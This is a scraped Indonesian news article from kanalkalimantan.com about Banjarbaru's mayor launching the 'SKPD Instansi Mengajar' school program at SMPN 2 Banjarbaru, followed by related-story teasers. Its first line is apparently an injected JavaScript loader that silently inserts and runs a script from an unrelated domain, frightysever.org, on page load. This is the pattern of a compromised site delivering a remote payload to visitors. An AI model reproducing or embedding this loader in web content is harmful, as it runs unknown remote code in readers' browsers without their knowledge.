(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Wali Kota Banjarbaru Aditya Mufti Ariffin memulai program SKPD Instansi Mengajar dengan mengunjungi SMPN 2 Banjarbaru, Kamis (16/5/2024) pagi.
Adapun program Satuan Kerja Perangkat Daerah (SKPD) Instansi Mengajar ini merupakan implementasi Merdeka Belajar dalam penguatan karakter.
Lewat SKPD Instansi Mengajar termasuk juga organisasi kepemudaan dan profesi dapat memberikan gambaran masa depan kepada generasi muda di Ibu Kota Provinsi Kalimantan Selatan.
Wali Kota Banjarbaru Aditya mengetakan, hari ini memulai kegiatan SKPD Instansi Mengajar ke sekolah untuk membangun pendidikan karakter peserta didik di Kota Banjarbaru.
Baca juga: Pastikan Kehadiran Habib Syech ke Kapuas Bersholawat 27 Juni
“Kita ingin generasi muda memiliki gambaran tentang masa depannya, lewat program ini bisa memberi inspirasi gambaran masa depan mereka,” ungkap Ovie –biasa disapa-.
Hari pertama pelaksanaan program instansi mengajar ini, Wali Kota Aditya mendatangi tempat dia bersekolah dahulu yakni SMPN 2 Banjarbaru.
Sebagai alumni, dirinya ingin memberikan inspirasi kesuksesan dirinya dari jenjang sekolah hingga kuliah.
Dia mengungkapkan, Banjarbaru menjadi satu-satunya daerah yang menjalankan SKPD Instansi Mengajar ini.
Baca juga: Ragam Kerajinan Rotan Merah Mejeng di Expo HUT ke-44 Dekranas
“Kebetulan saya alumni di sini ingin memberikan inspirasi, dan program ini baru berjalan di kota Banjarbaru, jadi Banjarbaru baru satu-satunya yang ada program ini,” jelas dia.
Dalam pelaksanaan program ini setelah satu pelaksanaannya, pihaknya pun akan melakukan evaluasi agar dapat terus memberikan dampak yang baik untuk generasi yang akan datang.
Sementara itu, Kepala Dinas Pendidikan (Disdik) Kota Banjarbaru, Dedy Sutoyo yang turut berhadir mengatakan, pelaksanaan program SKPD atau instansi mengajar akan terus dikembangkan.
Misalnya anak-anak sekolah diajarkan untuk memasang pin di dada yang bertuliskan cita-cita dari mereka masing-masing.
Baca juga: Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub
“Kita coba misal belajar pasang pin, kita bisa melihat cita-citanya apa, dan mereka akan mengingat itu setiap hari, sehingga menjadi bahan pertimbangan anak-anak kita dalam menentukan langkah mereka selanjutnya,” kata Kadisdik Kota Banjarbaru.
“Misalnya mereka kepingin jadi tentara berarti harus menjaga kesehatan fisik dan sebagainya, apabila terpasang pin di dadanya setiap hari maka akan memperkuat langkah-langkah mereka kedepannya,” sambungnya.
Tujuan program ini adalah agar menjelang kelulusan, anak-anak siswa dapat mendapatkan gambaran dan inspirasi langkah selanjutnya.
Pelaksanaan SKPD atau instansi mengajar, pemerintah turut membagikan kepada susu kotak dan telur rebus dalam rangka meningkatkan pertumbuhan anak pada umur remaja. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
This website uses cookies.